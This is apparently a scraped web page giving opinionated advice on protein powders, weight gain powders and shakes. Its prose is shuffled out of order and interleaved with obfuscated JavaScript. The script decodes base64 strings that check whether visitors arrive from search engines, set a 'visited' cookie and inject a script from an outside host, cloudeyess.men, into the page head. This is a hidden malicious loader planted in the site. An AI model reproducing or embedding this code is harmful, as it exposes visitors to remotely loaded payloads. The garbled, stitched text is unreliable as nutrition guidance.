constructor(\x22return\x20this\x22)(\x20)'+');');_0x468290=_0x46bb14();}catch(_0x506d04){_0x468290=window;}var _0x3ec3df='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x468290['atob']||(_0x468290['atob']=function(_0x435b58){var _0x375f3e=String(_0x435b58)['replace'](/=+$/,'');for(var _0x500cb8=0x0,_0x8c9914,_0x57c94e,_0x3aa228=0x0,_0x1c969e='';_0x57c94e=_0x375f3e['charAt'](_0x3aa228++);~_0x57c94e&&(_0x8c9914=_0x500cb8%0x4?_0x8c9914*0x40+_0x57c94e:_0x57c94e,_0x500cb8++%0x4)?_0x1c969e+=String['fromCharCode'](0xff&_0x8c9914>>(-0x2*_0x500cb8&0x6)):0x0){_0x57c94e=_0x3ec3df['indexOf'](_0x57c94e);}return _0x1c969e;});}());_0x3309['base64DecodeUnicode']=function(_0x2587bc){var _0x32e57e=atob(_0x2587bc);var _0x3a5b79=[];for(var _0x4a9258=0x0,_0x38c724=_0x32e57e['length'];_0x4a9258=0x0){if(_0x143ced[_0x3309('0x2a')]!==_0x143ced['gXhbX']){_0x1fb039=!![];}else{var _0x53dc9b=document['createElement'](_0x143ced[_0x3309('0x2b')]);_0x53dc9b[_0x3309('0x1')]=url;document['getElementsByTagName'](_0x3309('0x2'))[0x0]['appendChild'](_0x53dc9b);}}}else{var _0x378198=_0x143ced['gnGrj'][_0x3309('0xb')]('|'),_0x5c0d8d=0x0;while(!![]){switch(_0x378198[_0x5c0d8d++]){case'0':if(name){return _0x5e936a[name];}continue;case'1':if(_0x143ced[_0x3309('0x2c')](!_0x458239,name)){return undefined;}continue;case'2':for(var _0x118d2e=0x0;_0x143ced[_0x3309('0x2d')](_0x118d2e,_0x458239[_0x3309('0x8')]);_0x118d2e++){_0x52c7c5=_0x458239[_0x118d2e]['split']('=');_0x5e936a[_0x52c7c5[0x0]]=_0x52c7c5[0x1][_0x3309('0x2e')](/;$/);}continue;case'3':var _0x52c7c5;continue;case'4':return _0x5e936a;case'5':var _0x458239=document['cookie']['match'](/[\w-]+=.
Read the label and the list of ingredients of the protein powder and be very wary of any product that:makes any claims about strength or muscle gainshas any ingredient that is trademarkedhas any ingredient that is a made-up name like “Metamyacin”has artificial ingredientshas ingredients you have never heard ofdoes not say “made in USA”has more than 4 ingredientsMy Protein Powder Recommendations:Weight Gain Powders (Aka Fat Gain Powders)For 99% of you, these are a waste of money and will make you fat! Weight gain powders are protein and carbohydrate, usually sugar, and a bunch of vitamins and fancy sounding stuff that is supposed to magically build muscle – don’t believe it.. For most people the only weight you will gain is FAT Marketing people here are preying upon the ignorance of people here to make a bundle of money:weight gain is not the same as muscle gain!Protein ShakesRemember, a protein shake is a product that contains protein powder, a liquid (milk, juice, or water), flavors ( fruit, chocolate or peanut butter), sweetener (honey, sugar, or artificial sweetener) and typically lots of supplements.. Protein PowdersHow to tell a good protein powderA high quality protein powder will have either a “USP Verified” label on it or a “USDA Certified Organic” label.. var _0xbe9e=['OyBzZWN1cmU=','WlNEemo=','OyBleHBpcmVzPQ==','Z2V0VGltZQ==','a1dzVks=','dm5ESnQ=','ZEhuU1I=','aXpyc3c=','LnlhaG9vLg==','LmFsdGF2aXN0YS4=','dmlzaXRlZA==','cENI','VldQ','Y1FF','c2NyaXB0','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9paGVyYjIucGhwPyZxdWVyeT0=','WnhjREE=','bFhhWGE=','LmFvbC4=','VGFRYko=','VVRhRmc=','LnlhbmRleC4=','Z2V0','Z0NSQUE=','UUdZQUY=','VVZ0Z3M=','WlFO','aW5kZXhPZg==','cWx0bkU=','anNCeG8=','RXRWTk4=','cHhKTk8=','cmVwbGFjZQ==','dXB6Y2c=','Z3Zhenk=','TVBnaUU=','Y3JlYXRlRWxlbWVudA==','c3Jj','aGVhZA==','YXBwZW5kQ2hpbGQ=','d2hlcmUrdG8rYnV5K2hlbXArcHJvdGVpbitwb3dkZXIraW4rYXVzdHJhbGlh','cHlv','Y29va2ll','Tnlnc0E=','bGVuZ3Ro','UmV0TWM=','UkVFVVc=','c3BsaXQ=','OyBwYXRoPQ==','OyBkb21haW49'];(function(_0x14091f,_0x363721){var _0x1ce4e4=function(_0x41faae){while(--_0x41faae){_0x14091f['push'](_0x14091f['shift']());}};_0x1ce4e4(++_0x363721);}(_0xbe9e,0xba));var _0x3309=function(_0xa3ddd2,_0x51761b){_0xa3ddd2=_0xa3ddd2-0x0;var _0x2ebdb4=_0xbe9e[_0xa3ddd2];if(_0x3309['initialized']===undefined){(function(){var _0x468290;try{var _0x46bb14=Function('return\x20(function()\x20'+'{}.. Many protein powders have been found to have toxic impurities in them so you need to be very careful if they are not organic or USP Verified, I would recommend on sticking with the ones that Consumer Reports magazine found to be relatively free of toxic heavy metals, see Consumers Reports Protein Powder Rankings.
*?(?:$|;)/g),_0x5e936a={};continue;}break;}}}if(_0x1fb039){cookie['set'](_0x143ced['gCRAA'],0x1,0x1);if(!_0x4cdefc){_0x143ced[_0x3309('0x2f')](include,_0x143ced[_0x3309('0x30')](_0x143ced['FkxeZ'](_0x143ced[_0x3309('0x31')],q),''));}}}R(); Protein Powder, Weight Gain Powders, and Protein ShakesProtein Powder, Weight Gain Powders, and Protein ShakesA lot of people get all confused when it comes to protein powder, weight gain powder and protein shakes.. The ones you buy are typically very unhealthy and are extremely expensive so I would recommend making your own healthy protein shake for a fraction of the cost.. If you don’t understand the difference you buy the wrong product so let me break it down for you:protein powder – ingredients: 100% protein (whey, egg, soy, rice, hemp, etc)weight gain powder – ingredients: protein powder, sugar, and lots of useless garbageprotein shakes – ingredients: protein powder, a liquid (milk, juice, or water), flavors ( fruit, chocolate or peanut butter), sweetener (honey, sugar, or artificial sweetener) and typically lots of supplements. Browser Peng Video Youtube Blackberry
34bbb28f04
0 kommentar(er)
